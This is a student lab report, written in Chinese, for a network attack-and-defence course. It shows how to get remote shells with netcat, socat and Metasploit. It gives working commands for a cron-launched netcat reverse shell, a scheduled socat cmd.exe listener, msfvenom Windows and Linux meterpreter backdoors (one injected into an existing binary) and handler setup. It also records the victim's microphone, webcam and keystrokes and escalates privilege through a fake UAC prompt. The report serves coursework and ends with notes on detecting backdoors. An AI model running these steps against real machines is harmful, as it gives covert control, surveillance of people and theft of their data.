20232420 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

  • 熟悉netcat使用方法,使用netcat获取主机操作Shell。
  • 熟悉socat使用方法,使用socat获取主机操作Shell。
  • 熟悉MSF meterpreter使用方法,使用MSF meterpreter获取主机Shell。

2.实验过程

2.1 使用netcat获取主机操作Shell,cron启动定时任务

2.1.1 Windows获取Linux Shell

  • 在Windows终端使用nc64.exe打开监听。
    屏幕截图 2025-10-20 220229

  • 在Linux中进行反弹连接。
    屏幕截图 2025-10-21 082610

  • 随后在Windows终端可以看到成功获取到Linux Shell。
    屏幕截图 2025-10-20 223256

2.1.2 在Linux通过cron定时启动反弹连接任务

  • 在Linux中通过crontab -e命令进入编辑器,并在下方添加条目38 * * * * /bin/netcat 192.168.1.102 2420 -e /bin/sh
    屏幕截图 2025-10-20 223445

  • 通过crontab -l来查看是否完成添加。
    屏幕截图 2025-10-20 223840

  • 可以看到38分时定时获得了Linux Shell。
    屏幕截图 2025-10-20 223820

2.2 使用socat获取主机操作Shell, 任务计划启动

2.2.1 创建定时任务

  • 打开windows上的任务计划启动,操作->创建任务。
    屏幕截图 2025-10-21 090922

  • 新建触发器设置为按计划开始,每分钟一次。
    屏幕截图 2025-10-21 091154

  • 新建操作设置为启动程序,设置要启动的程序为下载好的socat.exe,添加参数为tcp-listen:2420 exec:cmd.exe,pty,stderr,意思是:
    tcp-listen:2420:在本地开启 TCP 协议监听,监听端口为 2420,等待外部设备连接;
    exec:cmd.exe:一旦有外部连接接入,自动执行 Windows 系统的命令提示符 cmd.exe,获取命令行环境;
    pty:为 cmd.exe 分配伪终端,模拟交互式操作(支持命令输入、光标移动等),确保远程连接可正常交互;
    stderr:将命令执行中的错误信息(标准错误流)转发到网络连接,让远程端能看到执行错误(如命令不存在、权限不足)。
    屏幕截图 2025-10-21 091323

  • 任务命名为“网络攻防exp2”。
    屏幕截图 2025-10-21 091617

2.2.2 进行socat反向连接

  • 接下来每过一分钟,windows系统就会按计划启动socat.exe
    屏幕截图 2025-10-21 091852

  • 在虚拟机中进行socat反向连接,就能获得Shell。
    屏幕截图 2025-10-21 091923

2.3 使用MSF meterpreter生成可执行文件(后门),传送到主机并运行获取主机Shell

2.3.1 生成后门

  • kali虚拟机中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=8888 -f exe > 20232420backdoor.exe,生成后门程序,它会建立一个Meterpreter会话,连接到192.168.190.128的8888端口,让其可以远程操控目标windows机器。
    屏幕截图 2025-10-21 112318
    屏幕截图 2025-10-21 124309

2.3.2 netcat传输后门程序

  • 在windows主机要保存文件的目标文件夹中打开终端,输入ncat -l -p 2420 > 20232420backdoor.exe
    屏幕截图 2025-10-22 155830

  • 在kali虚拟机打开终端,进入文件所在目录,执行命令nc 172.16.211.178 2420 < 20232420backdoor.exe
    屏幕截图 2025-10-22 155824

  • 目标文件传输成功。
    屏幕截图 2025-10-22 160409

2.3.3 获取主机Shell

  • 在虚拟机终端输入msfconsole打开控制台。
    屏幕截图 2025-10-21 101503

  • 输入以下指令进行监听配置。
    屏幕截图 2025-10-21 115316

use exploit/multi/handler #加载Metasploit中的multi/handler模块
set payload windows/meterpreter/reverse_tcp #设置要监听的攻击载荷(payload)类型,目标是windows系统,连接成功后会生成一个Meterpreter交互式会话,且连接方式为反向TCP
set LHOST 192.168.3.35  #在192.168.3.35上监听
set LPORT 8888 #在8888端口监听
exploit #启动监听器
  • 在windows主机上运行20232420backdoor.exe
    屏幕截图 2025-10-21 130040

  • 此时虚拟机就获得了windows主机的Shell。
    屏幕截图 2025-10-21 115345

2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.4.1 利用Meterprete获取目标主机音频、摄像头、击键记录等内容

  • 利用上一步获得的Shell,输入以下指令
record_mic #获取主机音频
webcam_snap #获取主机摄像头拍摄的照片
keyscan_start & keyscan_dump #获取主机键入内容

屏幕截图 2025-10-21 230846
屏幕截图 2025-10-21 230901

2.4.2 尝试提权

  • 尝试提权,输入getuid查看用户ID,接着输入getsystem尝试提权,失败,再次输入getuid,用户未改变。
    屏幕截图 2025-10-21 231408

  • 用exploit/windows/local/ask,模拟一个UAC确认窗口,欺骗用户点击,从而获取权限。

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ask
msf exploit(ask) > set SESSION 1
SESSION => 1
msf exploit(ask) > set FILENAME 20232420getsystem.exe
msf exploit(ask) > run

屏幕截图 2025-10-21 232733

  • 输入run后,弹出模拟UAC确认窗口,点击确认。(此时无法截屏,手动拍照)
    f36140d12b891be312da42c930957c5

  • 再次尝试提权,成功。
    屏幕截图 2025-10-21 233258

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.5.1 使用MSF生成shellcode,注入到实践1中的pwn1中

  • 通过命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -x pwn1 -f elf > pwn1_2,将后门注入到已有的程序pwn1,并生成一个新的后门文件。再通过命令chmod a+x pwn1_2为该文件赋予可执行权限。
    屏幕截图 2025-10-22 112613

2.5.2 获取反弹连接Shell

  • 在新的终端打开msfconsole控制台,开始监听(注意此次参数与上次不同)。
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp #windows改为linux/x86
set LHOST 192.168.190.128 
set LPORT 2420

屏幕截图 2025-10-22 112719

  • 此时在原来的终端运行pwn1_2。
    屏幕截图 2025-10-22 112733

  • 随后新终端处成功拿到Shell。
    屏幕截图 2025-10-22 112753

3.问题及解决方案

  • 问题1:Kali虚拟机中,试图建立Meterpreter会话时,立刻关闭,原因为Died。

  • 问题1解决方案:下载vc_redist.x86.exe:https://aka.ms/vs/17/release/vc_redist.x86.exe ,在Windows主机上运行程序进行修复,修复后Meterpreter会话就能正常建立。

  • 问题2:getsystem提权时失败。

  • 问题2解决方案:查找资料得知,可以用exploit/windows/local/ask,模拟一个UAC确认窗口,欺骗用户点击,从而获取权限。

4.回答问题

4.1 例举你能想到的一个后门进入到你系统中的可能方式?

  • 回答:下载并运行被篡改的破解软件、接收带恶意附件的邮件、或访问钓鱼网站时被植入后门。

4.2 例举你知道的后门如何启动起来(win及linux)的方式?

  • 回答:windows:任务计划程序定时启动、注册表启动项;linux:cron定时任务。

4.3 Meterpreter有哪些给你映像深刻的功能?

  • 回答:远程截图、摄像头监控、获取键盘记录、getsystem。

4.4 如何发现自己有系统有没有被安装后门?

  • 回答:检查异常进程或服务、查看系统日志中的异常登录或操作记录、检查异常的定时任务和启动项。

5.学习感悟、思考等

本次实验中用netcat建立反向连接,获取了目标主机的操作Shell;使用socat结合windows的“任务计划”实现后门的自动启动;再借助Metasploit框架的meterpreter模块生成windows可执行后门程序,窃取目标主机音频、摄像头画面、键盘击键记录等敏感信息,尝试提权,生成shellcode。通过以上实验内容,我对后门技术有了更直观的认识,对其原理和操作方式有了基本的了解,能深刻感受到后门程序的强大以及危害性,系统中一旦被植入后门,所有信息都不再安全;在维护系统安全时,要学会重点检查异常的定时任务和启动项,以防备后门程序的存在。

参考资料

posted @ 2025-10-22 13:41  20232420刘镇瑜  阅读(5)  评论(0)    收藏  举报